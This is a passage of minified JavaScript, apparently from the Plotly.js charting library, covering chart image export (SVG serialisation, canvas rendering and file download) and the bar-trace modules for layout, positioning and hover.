c=Object.keys(s);for(f=0;f<c.length;f++)d(c[f])&&(s[c[f]].title={text:""});for(f=0;f<u.length;f++){var b=u[f];b.showscale=!1,b.marker&&(b.marker.showscale=!1),M.traceIs(b,"pie-like")&&(b.textposition="none")}}if(Array.isArray(r.annotations))for(f=0;f<r.annotations.length;f++)s.annotations.push(r.annotations[f]);var h=Object.keys(s).filter(function(E){return E.match(/^scene\d*$/)});if(h.length){var i={};for(r.tileClass==="thumbnail"&&(i={title:{text:""},showaxeslabels:!1,showticklabels:!1,linetickenable:!1}),f=0;f<h.length;f++){var v=s[h[f]];v.xaxis||(v.xaxis={}),v.yaxis||(v.yaxis={}),v.zaxis||(v.zaxis={}),o(v.xaxis,i),o(v.yaxis,i),o(v.zaxis,i),v._scene=null}}var T=document.createElement("div");r.tileClass&&(T.className=r.tileClass);var w={gd:T,td:T,layout:s,data:u,config:{staticPlot:r.staticPlot===void 0?!0:r.staticPlot,plotGlPixelRatio:r.plotGlPixelRatio===void 0?2:r.plotGlPixelRatio,displaylogo:r.displaylogo||!1,showLink:r.showLink||!1,showTips:r.showTips||!1,mapboxAccessToken:y.mapboxAccessToken}};return r.setBackground!=="transparent"&&(w.config.setBackground=r.setBackground||"opaque"),w.gd.defaultLayout=S(r.tileClass),w}},7239:function(te,Z,e){var M=e(71828),P=e(403),o=e(22435),L=e(25095);function S(d,g){var t;return M.isPlainObject(d)||(t=M.getGraphDiv(d)),g=g||{},g.format=g.format||"png",g.width=g.width||null,g.height=g.height||null,g.imageDataOnly=!0,new Promise(function(r,f){t&&t._snapshotInProgress&&f(new Error("Snapshotting already in progress.")),M.isIE()&&g.format!=="svg"&&f(new Error(L.MSG_IE_BAD_FORMAT)),t&&(t._snapshotInProgress=!0);var a=P(d,g),l=g.filename||d.fn||"newplot";l+="."+g.format.replace("-","."),a.then(function(u){return t&&(t._snapshotInProgress=!1),o(u,l,g.format)}).then(function(u){r(u)}).catch(function(u){t&&(t._snapshotInProgress=!1),f(u)})})}te.exports=S},22435:function(te,Z,e){var M=e(71828),P=e(25095);function o(L,S,d){var g=document.createElement("a"),t="download"in g,r=new Promise(function(f,a){var l,u;if(M.isIE())return l=P.createBlob(L,"svg"),window.navigator.msSaveBlob(l,S),l=null,f(S);if(t)return l=P.createBlob(L,d),u=P.createObjectURL(l),g.href=u,g.download=S,document.body.appendChild(g),g.click(),document.body.removeChild(g),P.revokeObjectURL(u),l=null,f(S);if(M.isSafari()){var s=d==="svg"?",":";base64,";return P.octetStream(s+encodeURIComponent(L)),f(S)}a(new Error("download error"))});return r}te.exports=o},25095:function(te,Z,e){var M=e(73972);Z.getDelay=function(L){return L._has&&(L._has("gl3d")||L._has("gl2d")||L._has("mapbox"))?500:0},Z.getRedrawFunc=function(L){return function(){M.getComponentMethod("colorbar","draw")(L)}},Z.encodeSVG=function(L){return"data:image/svg+xml,"+encodeURIComponent(L)},Z.encodeJSON=function(L){return"data:application/json,"+encodeURIComponent(L)};var P=window.URL||window.webkitURL;Z.createObjectURL=function(L){return P.createObjectURL(L)},Z.revokeObjectURL=function(L){return P.revokeObjectURL(L)},Z.createBlob=function(L,S){if(S==="svg")return new window.Blob([L],{type:"image/svg+xml;charset=utf-8"});if(S==="full-json")return new window.Blob([L],{type:"application/json;charset=utf-8"});var d=o(window.atob(L));return new window.Blob([d],{type:"image/"+S})},Z.octetStream=function(L){document.location.href="data:application/octet-stream"+L};function o(L){for(var S=L.length,d=new ArrayBuffer(S),g=new Uint8Array(d),t=0;t<S;t++)g[t]=L.charCodeAt(t);return d}Z.IMAGE_URL_PREFIX=/^data:image\/\w+;base64,/,Z.MSG_IE_BAD_FORMAT="Sorry IE does not support downloading from canvas. Try {format:'svg'} instead."},44511:function(te,Z,e){var M=e(25095),P={getDelay:M.getDelay,getRedrawFunc:M.getRedrawFunc,clone:e(61914),toSVG:e(5900),svgToImg:e(70942),toImage:e(56395),downloadImage:e(7239)};te.exports=P},70942:function(te,Z,e){var M=e(71828),P=e(15398).EventEmitter,o=e(25095);function L(S){var d=S.emitter||new P,g=new Promise(function(t,r){var f=window.Image,a=S.svg,l=S.format||"png";if(M.isIE()&&l!=="svg"){var u=new Error(o.MSG_IE_BAD_FORMAT);return r(u),S.promise?g:d.emit("error",u)}var s=S.canvas,y=S.scale||1,c=S.width||300,b=S.height||150,h=y*c,i=y*b,v=s.getContext("2d",{willReadFrequently:!0}),T=new f,w,E;l==="svg"||M.isSafari()?E=o.encodeSVG(a):(w=o.createBlob(a,"svg"),E=o.createObjectURL(w)),s.width=h,s.height=i,T.onload=function(){var p;switch(w=null,o.revokeObjectURL(E),l!=="svg"&&v.drawImage(T,0,0,h,i),l){case"jpeg":p=s.toDataURL("image/jpeg");break;case"png":p=s.toDataURL("image/png");break;case"webp":p=s.toDataURL("image/webp");break;case"svg":p=E;break;default:var A="Image format is not jpeg, png, svg or webp.";if(r(new Error(A)),!S.promise)return d.emit("error",A)}t(p),S.promise||d.emit("success",p)},T.onerror=function(p){if(w=null,o.revokeObjectURL(E),r(p),!S.promise)return d.emit("error",p)},T.src=E});return S.promise?g:d}te.exports=L},56395:function(te,Z,e){var M=e(15398).EventEmitter,P=e(73972),o=e(71828),L=e(25095),S=e(61914),d=e(5900),g=e(70942);function t(r,f){var a=new M,l=S(r,{format:"png"}),u=l.gd;u.style.position="absolute",u.style.left="-5000px",document.body.appendChild(u);function s(){var c=L.getDelay(u._fullLayout);setTimeout(function(){var b=d(u),h=document.createElement("canvas");h.id=o.randstr(),a=g({format:f.format,width:u._fullLayout.width,height:u._fullLayout.height,canvas:h,emitter:a,svg:b}),a.clean=function(){u&&document.body.removeChild(u)}},c)}var y=L.getRedrawFunc(u);return P.call("_doPlot",u,l.data,l.layout,l.config).then(y).then(s).catch(function(c){a.emit("error",c)}),a}te.exports=t},5900:function(te,Z,e){var M=e(39898),P=e(71828),o=e(91424),L=e(7901),S=e(77922),d=/"/g,g="TOBESTRIPPED",t=new RegExp('("'+g+")|("+g+'")',"g");function r(a){var l=M.select("body").append("div").style({display:"none"}).html(""),u=a.replace(/(&[^;]*;)/gi,function(s){return s==="&lt;"?"&#60;":s==="&rt;"?"&#62;":s.indexOf("<")!==-1||s.indexOf(">")!==-1?"":l.html(s).text()});return l.remove(),u}function f(a){return a.replace(/&(?!\w+;|\#[0-9]+;| \#x[0-9A-F]+;)/g,"&amp;")}te.exports=function(l,u,s){var y=l._fullLayout,c=y._paper,b=y._toppaper,h=y.width,i=y.height,v;c.insert("rect",":first-child").call(o.setRect,0,0,h,i).call(L.fill,y.paper_bgcolor);var T=y._basePlotModules||[];for(v=0;v<T.length;v++){var w=T[v];w.toSVG&&w.toSVG(l)}if(b){var E=b.node().childNodes,p=Array.prototype.slice.call(E);for(v=0;v<p.length;v++){var A=p[v];A.childNodes.length&&c.node().appendChild(A)}}y._draggers&&y._draggers.remove(),c.node().style.background="",c.selectAll("text").attr({"data-unformatted":null,"data-math":null}).each(function(){var n=M.select(this);if(this.style.visibility==="hidden"||this.style.display==="none"){n.remove();return}else n.style({visibility:null,display:null});var C=this.style.fontFamily;C&&C.indexOf('"')!==-1&&n.style("font-family",C.replace(d,g))}),c.selectAll(".gradient_filled,.pattern_filled").each(function(){var n=M.select(this),C=this.style.fill;C&&C.indexOf("url(")!==-1&&n.style("fill",C.replace(d,g));var x=this.style.stroke;x&&x.indexOf("url(")!==-1&&n.style("stroke",x.replace(d,g))}),(u==="pdf"||u==="eps")&&c.selectAll("#MathJax_SVG_glyphs path").attr("stroke-width",0),c.node().setAttributeNS(S.xmlns,"xmlns",S.svg),c.node().setAttributeNS(S.xmlns,"xmlns:xlink",S.xlink),u==="svg"&&s&&(c.attr("width",s*h),c.attr("height",s*i),c.attr("viewBox","0 0 "+h+" "+i));var m=new window.XMLSerializer().serializeToString(c.node());return m=r(m),m=f(m),m=m.replace(t,"'"),P.isIE()&&(m=m.replace(/"/gi,"'"),m=m.replace(/(\('#)([^']*)('\))/gi,'("#$2")'),m=m.replace(/(\\')/gi,'"')),m}},75341:function(te,Z,e){var M=e(71828);te.exports=function(o,L){for(var S=0;S<o.length;S++)o[S].i=S;M.mergeArray(L.text,o,"tx"),M.mergeArray(L.hovertext,o,"htx");var d=L.marker;if(d){M.mergeArray(d.opacity,o,"mo",!0),M.mergeArray(d.color,o,"mc");var g=d.line;g&&(M.mergeArray(g.color,o,"mlc"),M.mergeArrayCastPositive(g.width,o,"mlw"))}}},1486:function(te,Z,e){var M=e(82196),P=e(12663).axisHoverFormat,o=e(5386).fF,L=e(5386).si,S=e(50693),d=e(41940),g=e(97313),t=e(79952).u,r=e(1426).extendFlat,f=d({editType:"calc",arrayOk:!0,colorEditType:"style"}),a=M.marker,l=a.line,u=r({},l.width,{dflt:0}),s=r({width:u,editType:"calc"},S("marker.line")),y=r({line:s,editType:"calc"},S("marker"),{opacity:{valType:"number",arrayOk:!0,dflt:1,min:0,max:1,editType:"style"},pattern:t});te.exports={x:M.x,x0:M.x0,dx:M.dx,y:M.y,y0:M.y0,dy:M.dy,xperiod:M.xperiod,yperiod:M.yperiod,xperiod0:M.xperiod0,yperiod0:M.yperiod0,xperiodalignment:M.xperiodalignment,yperiodalignment:M.yperiodalignment,xhoverformat:P("x"),yhoverformat:P("y"),text:M.text,texttemplate:L({editType:"plot"},{keys:g.eventDataKeys}),hovertext:M.hovertext,hovertemplate:o({},{keys:g.eventDataKeys}),textposition:{valType:"enumerated",values:["inside","outside","auto","none"],dflt:"auto",arrayOk:!0,editType:"calc"},insidetextanchor:{valType:"enumerated",values:["end","middle","start"],dflt:"end",editType:"plot"},textangle:{valType:"angle",dflt:"auto",editType:"plot"},textfont:r({},f,{}),insidetextfont:r({},f,{}),outsidetextfont:r({},f,{}),constraintext:{valType:"enumerated",values:["inside","outside","both","none"],dflt:"both",editType:"calc"},cliponaxis:r({},M.cliponaxis,{}),orientation:{valType:"enumerated",values:["v","h"],editType:"calc+clearAxisTypes"},base:{valType:"any",dflt:null,arrayOk:!0,editType:"calc"},offset:{valType:"number",dflt:null,arrayOk:!0,editType:"calc"},width:{valType:"number",dflt:null,min:0,arrayOk:!0,editType:"calc"},marker:y,offsetgroup:M.offsetgroup,alignmentgroup:M.alignmentgroup,selected:{marker:{opacity:M.selected.marker.opacity,color:M.selected.marker.color,editType:"style"},textfont:M.selected.textfont,editType:"style"},unselected:{marker:{opacity:M.unselected.marker.opacity,color:M.unselected.marker.color,editType:"style"},textfont:M.unselected.textfont,editType:"style"},_deprecated:{bardir:{valType:"enumerated",editType:"calc",values:["v","h"]}}}},92290:function(te,Z,e){var M=e(89298),P=e(42973),o=e(52075).hasColorscale,L=e(78803),S=e(75341),d=e(66279);te.exports=function(t,r){var f=M.getFromId(t,r.xaxis||"x"),a=M.getFromId(t,r.yaxis||"y"),l,u,s,y,c,b,h={msUTC:!!(r.base||r.base===0)};r.orientation==="h"?(l=f.makeCalcdata(r,"x",h),s=a.makeCalcdata(r,"y"),y=P(r,a,"y",s),c=!!r.yperiodalignment,b="y"):(l=a.makeCalcdata(r,"y",h),s=f.makeCalcdata(r,"x"),y=P(r,f,"x",s),c=!!r.xperiodalignment,b="x"),u=y.vals;for(var i=Math.min(u.length,l.length),v=new Array(i),T=0;T<i;T++)v[T]={p:u[T],s:l[T]},c&&(v[T].orig_p=s[T],v[T][b+"End"]=y.ends[T],v[T][b+"Start"]=y.starts[T]),r.ids&&(v[T].id=String(r.ids[T]));return o(r,"marker")&&L(t,r,{vals:r.marker.color,containerStr:"marker",cLetter:"c"}),o(r,"marker.line")&&L(t,r,{vals:r.marker.line.color,containerStr:"marker.line",cLetter:"c"}),S(v,r),d(v,r),v}},97313:function(te){te.exports={TEXTPAD:3,eventDataKeys:["value","label"]}},11661:function(te,Z,e){var M=e(92770),P=e(71828).isArrayOrTypedArray,o=e(50606).BADNUM,L=e(73972),S=e(89298),d=e(99082).getAxisGroup,g=e(61546);function t(m,n){for(var C=n.xaxis,x=n.yaxis,I=m._fullLayout,k=m._fullData,B=m.calcdata,_=[],F=[],O=0;O<k.length;O++){var z=k[O];if(z.visible===!0&&L.traceIs(z,"bar")&&z.xaxis===C._id&&z.yaxis===x._id&&(z.orientation==="h"?_.push(B[O]):F.push(B[O]),z._computePh))for(var N=m.calcdata[O],G=0;G<N.length;G++)typeof N[G].ph0=="function"&&(N[G].ph0=N[G].ph0()),typeof N[G].ph1=="function"&&(N[G].ph1=N[G].ph1())}var J={xCat:C.type==="category"||C.type==="multicategory",yCat:x.type==="category"||x.type==="multicategory",mode:I.barmode,norm:I.barnorm,gap:I.bargap,groupgap:I.bargroupgap};r(m,C,x,F,J),r(m,x,C,_,J)}function r(m,n,C,x,I){if(x.length){var k,B,_,F,O;switch(f(C,x),I.mode){case"overlay":a(n,C,x,I);break;case"group":for(k=[],B=[],_=0;_<x.length;_++)F=x[_],O=F[0].trace,O.offset===void 0?B.push(F):k.push(F);B.length&&l(m,n,C,B,I),k.length&&a(n,C,k,I);break;case"stack":case"relative":for(k=[],B=[],_=0;_<x.length;_++)F=x[_],O=F[0].trace,O.base===void 0?B.push(F):k.push(F);B.length&&u(m,n,C,B,I),k.length&&a(n,C,k,I);break}p(x,n)}}function f(m,n){var C,x;for(C=0;C<n.length;C++){var I=n[C],k=I[0].trace,B=k.type==="funnel"?k._base:k.base,_,F=k.orientation==="h"?k.xcalendar:k.ycalendar,O=m.type==="category"||m.type==="multicategory"?function(){return null}:m.d2c;if(P(B)){for(x=0;x<Math.min(B.length,I.length);x++)_=O(B[x],0,F),M(_)?(I[x].b=+_,I[x].hasB=1):I[x].b=0;for(;x<I.length;x++)I[x].b=0}else{_=O(B,0,F);var z=M(_);for(_=z?_:0,x=0;x<I.length;x++)I[x].b=_,z&&(I[x].hasB=1)}}}function a(m,n,C,x){for(var I=0;I<C.length;I++){var k=C[I],B=new g([k],{posAxis:m,sepNegVal:!1,overlapNoMerge:!x.norm});s(m,B,x),x.norm?(T(B),E(n,B,x)):i(n,B)}}function l(m,n,C,x,I){var k=new g(x,{posAxis:n,sepNegVal:!1,overlapNoMerge:!I.norm});y(m,n,k,I),w(k,n),I.norm?(T(k),E(C,k,I)):i(C,k)}function u(m,n,C,x,I){var k=new g(x,{posAxis:n,sepNegVal:I.mode==="relative",overlapNoMerge:!(I.norm||I.mode==="stack"||I.mode==="relative")});s(n,k,I),v(C,k,I);for(var B=0;B<x.length;B++)for(var _=x[B],F=0;F<_.length;F++){var O=_[F];if(O.s!==o){var z=O.b+O.s===k.get(O.p,O.s);z&&(O._outmost=!0)}}I.norm&&E(C,k,I)}function s(m,n,C){for(var x=n.minDiff,I=n.traces,k=x*(1-C.gap),B=k,_=B*(1-(C.groupgap||0)),F=-_/2,O=0;O<I.length;O++){var z=I[O],N=z[0].t;N.barwidth=_,N.poffset=F,N.bargroupwidth=k,N.bardelta=x}n.binWidth=I[0][0].t.barwidth/100,c(n),b(m,n),h(m,n)}function y(m,n,C,x){for(var I=m._fullLayout,k=C.positions,B=C.distinctPositions,_=C.minDiff,F=C.traces,O=F.length,z=k.length!==B.length,N=_*(1-x.gap),G=d(I,n._id)+F[0][0].trace.orientation,J=I._alignmentOpts[G]||{},q=0;q<O;q++){var ne=F[q],fe=ne[0].trace,X=J[fe.alignmentgroup]||{},W=Object.keys(X.offsetGroups||{}).length,V;W?V=N/W:V=z?N/O:N;var Y=V*(1-(x.groupgap||0)),Q;W?Q=((2*fe._offsetIndex+1-W)*V-Y)/2:Q=z?((2*q+1-O)*V-Y)/2:-Y/2;var ie=ne[0].t;ie.barwidth=Y,ie.poffset=Q,ie.bargroupwidth=N,ie.bardelta=_}C.binWidth=F[0][0].t.barwidth/100,c(C),b(n,C),h(n,C,z)}function c(m){var n=m.traces,C,x;for(C=0;C<n.length;C++){var I=n[C],k=I[0],B=k.trace,_=k.t,F=B._offset||B.offset,O=_.poffset,z;if(P(F)){for(z=Array.prototype.slice.call(F,0,I.length),x=0;x<z.length;x++)M(z[x])||(z[x]=O);for(x=z.length;x<I.length;x++)z.push(O);_.poffset=z}else F!==void 0&&(_.poffset=F);var N=B._width||B.width,G=_.barwidth;if(P(N)){var J=Array.prototype.slice.call(N,0,I.length);for(x=0;x<J.length;x++)M(J[x])||(J[x]=G);for(x=J.length;x<I.length;x++)J.push(G);if(_.barwidth=J,F===void 0){for(z=[],x=0;x<I.length;x++)z.push(O+(G-J[x])/2);_.poffset=z}}else N!==void 0&&(_.barwidth=N,F===void 0&&(_.poffset=O+(G-N)/2))}}function b(m,n){for(var C=n.traces,x=A(m),I=0;I<C.length;I++)for(var k=C[I],B=k[0].t,_=B.poffset,F=Array.isArray(_),O=B.barwidth,z=Array.isArray(O),N=0;N<k.length;N++){var G=k[N],J=G.w=z?O[N]:O;G.p===void 0&&(G.p=G[x],G["orig_"+x]=G[x]);var q=(F?_[N]:_)+J/2;G[x]=G.p+q}}function h(m,n,C){var x=n.traces,I=n.minDiff,k=I/2;S.minDtick(m,n.minDiff,n.distinctPositions[0],C);for(var B=0;B<x.length;B++){var _=x[B],F=_[0],O=F.trace,z=[],N,G,J,q;for(q=0;q<_.length;q++)N=_[q],G=N.p-k,J=N.p+k,z.push(G,J);if(O.width||O.offset){var ne=F.t,fe=ne.poffset,X=ne.barwidth,W=Array.isArray(fe),V=Array.isArray(X);for(q=0;q<_.length;q++){N=_[q];var Y=W?fe[q]:fe,Q=V?X[q]:X;G=N.p+Y,J=G+Q,z.push(G,J)}}O._extremes[m._id]=S.findExtremes(m,z,{padded:!1})}}function i(m,n){for(var C=n.traces,x=A(m),I=0;I<C.length;I++){for(var k=C[I],B=k[0].trace,_=B.type==="scatter",F=B.orientation==="v",O=[],z=!1,N=0;N<k.length;N++){var G=k[N],J=_?0:G.b,q=_?F?G.y:G.x:J+G.s;G[x]=q,O.push(q),G.hasB&&O.push(J),(!G.hasB||!G.b)&&(z=!0)}B._extremes[m._id]=S.findExtremes(m,O,{tozero:z,padded:!0})}}function v(m,n,C){var x=A(m),I=n.traces,k,B,_,F,O,z;for(F=0;F<I.length;F++)if(k=I[F],B=k[0].trace,B.type==="funnel")for(O=0;O<k.length;O++)z=k[O],z.s!==o&&n.put(z.p,-.5*z.s);for(F=0;F<I.length;F++){k=I[F],B=k[0].trace,_=B.type==="funnel";var N=[];for(O=0;O<k.length;O++)if(z=k[O],z.s!==o){var G;_?G=z.s:G=z.s+z.b;var J=n.put(z.p,G),q=J+G;z.b=J,z[x]=q,C.norm||(N.push(q),z.hasB&&N.push(J))}C.norm||(B._extremes[m._id]=S.findExtremes(m,N,{tozero:!0,padded:!0}))}}function T(m){for(var n=m.traces,C=0;C<n.length;C++)for(var x=n[C],I=0;I<x.length;I++){var k=x[I];k.s!==o&&m.put(k.p,k.b+k.s)}}function w(m,n){for(var C=m.traces,x=0;x<C.length;x++){var I=C[x],k=I[0].trace;if(k.base===void 0)for(var B=new g([I],{posAxis:n,sepNegVal:!0,overlapNoMerge:!0}),_=0;_<I.length;_++){var F=I[_];if(F.p!==o){var O=B.put(F.p,F.b+F.s);O&&(F.b=O)}}}}function E(m,n,C){var x=n.traces,I=A(m),k=C.norm==="fraction"?1:100,B=k/1e9,_=m.l2c(m.c2l(0)),F=C.mode==="stack"?k:_;function O(Q){return M(m.c2l(Q))&&(Q<_-B||Q>F+B||!M(_))}for(var z=0;z<x.length;z++){for(var N=x[z],G=N[0].trace,J=[],q=!1,ne=!1,fe=0;fe<N.length;fe++){var X=N[fe];if(X.s!==o){var W=Math.abs(k/n.get(X.p,X.s));X.b*=W,X.s*=W;var V=X.b,Y=V+X.s;X[I]=Y,J.push(Y),ne=ne||O(Y),X.hasB&&(J.push(V),ne=ne||O(V)),(!X.hasB||!X.b)&&(q=!0)}}G._extremes[m._id]=S.findExtremes(m,J,{tozero:q,padded:ne})}}function p(m,n){var C=A(n),x={},I,k,B,_=1/0,F=-1/0;for(I=0;I<m.length;I++)for(B=m[I],k=0;k<B.length;k++){var O=B[k].p;M(O)&&(_=Math.min(_,O),F=Math.max(F,O))}var z=1e4/(F-_),N=x.round=function(W){return String(Math.round(z*(W-_)))};for(I=0;I<m.length;I++){B=m[I],B[0].t.extents=x;var G=B[0].t.poffset,J=Array.isArray(G);for(k=0;k<B.length;k++){var q=B[k],ne=q[C]-q.w/2;if(M(ne)){var fe=q[C]+q.w/2,X=N(q.p);x[X]?x[X]=[Math.min(ne,x[X][0]),Math.max(fe,x[X][1])]:x[X]=[ne,fe]}q.p0=q.p+(J?G[k]:G),q.p1=q.p0+q.w,q.s0=q.b,q.s1=q.s0+q.s}}}function A(m){return m._id.charAt(0)}te.exports={crossTraceCalc:t,setGroupPositions:r}},90769:function(te,Z,e){var M=e(71828),P=e(7901),o=e(73972),L=e(67513),S=e(73927),d=e(98340),g=e(26125),t=e(1486),r=M.coerceFont;function f(u,s,y,c){function b(w,E){return M.coerce(u,s,t,w,E)}var h=L(u,s,c,b);if(!h){s.visible=!1;return}S(u,s,c,b),b("xhoverformat"),b("yhoverformat"),b("orientation",s.x&&!s.y?"h":"v"),b("base"),b("offset"),b("width"),b("text"),b("hovertext"),b("hovertemplate");var i=b("textposition");l(u,s,c,b,i,{moduleHasSelected:!0,moduleHasUnselected:!0,moduleHasConstrain:!0,moduleHasCliponaxis:!0,moduleHasTextangle:!0,moduleHasInsideanchor:!0}),d(u,s,b,y,c);var v=(s.marker.line||{}).color,T=o.getComponentMethod("errorbars","supplyDefaults");T(u,s,v||P.defaultLine,{axis:"y"}),T(u,s,v||P.defaultLine,{axis:"x",inherit:"y"}),M.coerceSelectionMarkerOpacity(s,b)}function a(u,s){var y,c;function b(i){return M.coerce(c._input,c,t,i)}if(s.barmode==="group")for(var h=0;h<u.length;h++)c=u[h],c.type==="bar"&&(y=c._input,g(y,c,s,b))}function l(u,s,y,c,b,h){h=h||{};var i=h.moduleHasSelected!==!1,v=h.moduleHasUnselected!==!1,T=h.moduleHasConstrain!==!1,w=h.moduleHasCliponaxis!==!1,E=h.moduleHasTextangle!==!1,p=h.moduleHasInsideanchor!==!1,A=!!h.hasPathbar,m=Array.isArray(b)||b==="auto",n=m||b==="inside",C=m||b==="outside";if(n||C){var x=r(c,"textfont",y.font),I=M.extendFlat({},x),k=u.textfont&&u.textfont.color,B=!k;if(B&&delete I.color,r(c,"insidetextfont",I),A){var _=M.extendFlat({},x);B&&delete _.color,r(c,"pathbar.textfont",_)}C&&r(c,"outsidetextfont",x),i&&c("selected.textfont.color"),v&&c("unselected.textfont.color"),T&&c("constraintext"),w&&c("cliponaxis"),E&&c("textangle"),c("texttemplate")}n&&p&&c("insidetextanchor")}te.exports={supplyDefaults:f,crossTraceDefaults:a,handleText:l}},58065:function(te){te.exports=function(e,M,P){return e.x="xVal"in M?M.xVal:M.x,e.y="yVal"in M?M.yVal:M.y,M.xa&&(e.xaxis=M.xa),M.ya&&(e.yaxis=M.ya),P.orientation==="h"?(e.label=e.y,e.value=e.x):(e.label=e.x,e.value=e.y),e}},69383:function(te,Z,e){var M=e(92770),P=e(84267),o=e(71828).isArrayOrTypedArray;Z.coerceString=function(L,S,d){if(typeof S=="string"){if(S||!L.noBlank)return S}else if((typeof S=="number"||S===!0)&&!L.strict)return String(S);return d!==void 0?d:L.dflt},Z.coerceNumber=function(L,S,d){if(M(S)){S=+S;var g=L.min,t=L.max,r=g!==void 0&&S<g||t!==void 0&&S>t;if(!r)return S}return d!==void 0?d:L.dflt},Z.coerceColor=function(L,S,d){return P(S).isValid()?S:d!==void 0?d:L.dflt},Z.coerceEnumerated=function(L,S,d){return L.coerceNumber&&(S=+S),L.values.indexOf(S)!==-1?S:d!==void 0?d:L.dflt},Z.getValue=function(L,S){var d;return Array.isArray(L)?S<L.length&&(d=L[S]):d=L,d},Z.getLineWidth=function(L,S){var d=0<S.mlw?S.mlw:o(L.marker.line.width)?0:L.marker.line.width;return d}},95423:function(te,Z,e){var M=e(30211),P=e(73972),o=e(7901),L=e(71828).fillText,S=e(69383).getLineWidth,d=e(89298).hoverLabelText,g=e(50606).BADNUM;function t(a,l,u,s,y){var c=r(a,l,u,s,y);if(c){var b=c.cd,h=b[0].trace,i=b[c.index];return c.color=f(h,i),P.getComponentMethod("errorbars","hoverInfo")(i,h,c),[c]}}function r(a,l,u,s,y){var c=a.cd,b=c[0].trace,h=c[0].t,i=s==="closest",v=b.type==="waterfall",T=a.maxHoverDistance,w=a.maxSpikeDistance,E,p,A,m,n,C,x;b.orientation==="h"?(E=u,p=l,A="y",m="x",n=fe,C=J):(E=l,p=u,A="x",m="y",C=fe,n=J);var I=b[A+"period"],k=i||I;function B(le){return F(le,-1)}function _(le){return F(le,1)}function F(le,pe){var we=le.w;return le[A]+pe*we/2}function O(le){return le[A+"End"]-le[A+"Start"]}var z=i?B:I?function(le){return le.p-O(le)/2}:function(le){return Math.min(B(le),le.p-h.bardelta/2)},N=i?_:I?function(le){return le.p+O(le)/2}:function(le){return Math.max(_(le),le.p+h.bardelta/2)};function G(le,pe,we){return y.finiteRange&&(we=0),M.inbox(le-E,pe-E,we+Math.min(1,Math.abs(pe-le)/x)-1)}function J(le){return G(z(le),N(le),T)}function q(le){return G(B(le),_(le),w)}function ne(le){var pe=le[m];if(v){var we=Math.abs(le.rawS)||0;p>0?pe+=we:p<0&&(pe-=we)}return pe}function fe(le){var pe=p,we=le.b,xe=ne(le);return M.inbox(we-pe,xe-pe,T+(xe-pe)/(xe-we)-1)}function X(le){var pe=p,we=le.b,xe=ne(le);return M.inbox(we-pe,xe-pe,w+(xe-pe)/(xe-we)-1)}var W=a[A+"a"],V=a[m+"a"];x=Math.abs(W.r2c(W.range[1])-W.r2c(W.range[0]));function Y(le){return(n(le)+C(le))/2}var Q=M.getDistanceFunction(s,n,C,Y);if(M.getClosest(c,Q,a),a.index!==!1&&c[a.index].p!==g){k||(z=function(le){return Math.min(B(le),le.p-h.bargroupwidth/2)},N=function(le){return Math.max(_(le),le.p+h.bargroupwidth/2)});var ie=a.index,j=c[ie],K=b.base?j.b+j.s:j.s;a[m+"0"]=a[m+"1"]=V.c2p(j[m],!0),a[m+"LabelVal"]=K;var oe=h.extents[h.extents.round(j.p)];a[A+"0"]=W.c2p(i?z(j):oe[0],!0),a[A+"1"]=W.c2p(i?N(j):oe[1],!0);var re=j.orig_p!==void 0;return a[A+"LabelVal"]=re?j.orig_p:j.p,a.labelLabel=d(W,a[A+"LabelVal"],b[A+"hoverformat"]),a.valueLabel=d(V,a[m+"LabelVal"],b[m+"hoverformat"]),a.baseLabel=d(V,j.b,b[m+"hoverformat"]),a.spikeDistance=(X(j)+q(j))/2,a[A+"Spike"]=W.c2p(j.p,!0),L(j,b,a),a.hovertemplate=b.hovertemplate,a}}function f(a,l){var u=l.mcc||a.marker.color,s=l.mlcc||a.marker.line.color,y=S(a,l);if(o.opacity(u))return u;if(o.opacity(s)&&y)return s}te.exports={hoverPoints:t,hoverOnBars:r,getTraceColor:f}},60822:function(te,Z,e){te.exports={attributes:e(1486),layoutAttributes:e(43641),supplyDefaults:e(90769).supplyDefaults,crossTraceDefaults:e(90769).crossTraceDefaults,supplyLayoutDefaults:e(13957),calc:e(92290),crossTraceCalc:e(11661).crossTraceCalc,colorbar:e(4898),arraysToCalcdata:e(75341),plot:e(17295).plot,style:e(16688).style,styleOnSelect:e(16688).styleOnSelect,hoverPoints:e(95423).hoverPoints,eventData:e(58065),selectPoints:e(81974),moduleType:"trace",name:"bar",basePlotModule:e(93612),categories:["bar-like","cartesian","svg","bar","oriented","errorBarsOK","showLegend","zoomScale"],animatable:!0,meta:{}}},43641:function(te){te.exports={barmode:{valType:"enumerated",values:["stack","group","overlay","relative"],dflt:"group",editType:"calc"},barnorm:{valType:"enumerated",values:["","fraction","percent"],dflt:"",editType:"calc"},bargap:{valType:"number",min:0,max:1,editType:"calc"},bargroupgap:{valType:"number",min:0,max:1,dflt:0,editType:"calc"}}},13957:function(te,Z,e){var M=e(73972),P=e(89298),o=e(71828),L=e(43641);te.exports=function(S,d,g){function t(h,i){return o.coerce(S,d,L,h,i)}for(var r=!1,f=!1,a=!1,l={},u=t("barmode"),s=0;s<g.length;s++){var y=g[s];if(M.traceIs(y,"bar")&&y.visible)r=!0;else continue;if(u==="group"){var c=y.xaxis+y.yaxis;l[c]&&(a=!0),l[c]=!0}if(y.visible&&y.type==="histogram"){var b=P.getFromId({_fullLayout:d},y[y.orientation==="v"?"xaxis":"yaxis"]);b.type!=="category"&&(f=!0)}}if(!r){delete d.barmode;return}u!=="overlay"&&t("barnorm"),t("bargap",f&&!a?0:.2),t("bargroupgap")}},17295:function(te,Z,e){var M=e(39898),P=e(92770),o=e(71828),L=e(63893),S=e(7901),d=e(91424),g=e(73972),t=e(89298).tickText,r=e(72597),f=r.recordMinTextSize,a=r.clearMinTextSize,l=e(16688),u=e(69383),s=e(97313),y=e(1486),c=y.text,b=y.textposition,h=e(23469).appendArrayPointValue,i=s.TEXTPAD;function v(z){return z.id}function T(z){if(z.ids)return v}function w(z,N){return z<N?1:-1}function E(z,N,G,J){var q=[],ne=[],fe=J?N:G,X=J?G:N;return q[0]=fe.c2p(z.s0,!0),ne[0]=X.c2p(z.p0,!0),q[1]=fe.c2p(z.s1,!0),ne[1]=X.c2p(z.p1,!0),J?[q,ne]:[ne,q]}function p(z,N,G,J){if(!N.uniformtext.mode&&A(G)){var q;return J&&(q=J()),z.transition().duration(G.duration).ease(G.easing).each("end",function(){q&&q()}).each("interrupt",function(){q&&q()})}else return z}function A(z){return z&&z.duration>0}function m(z,N,G,J,q,ne){var 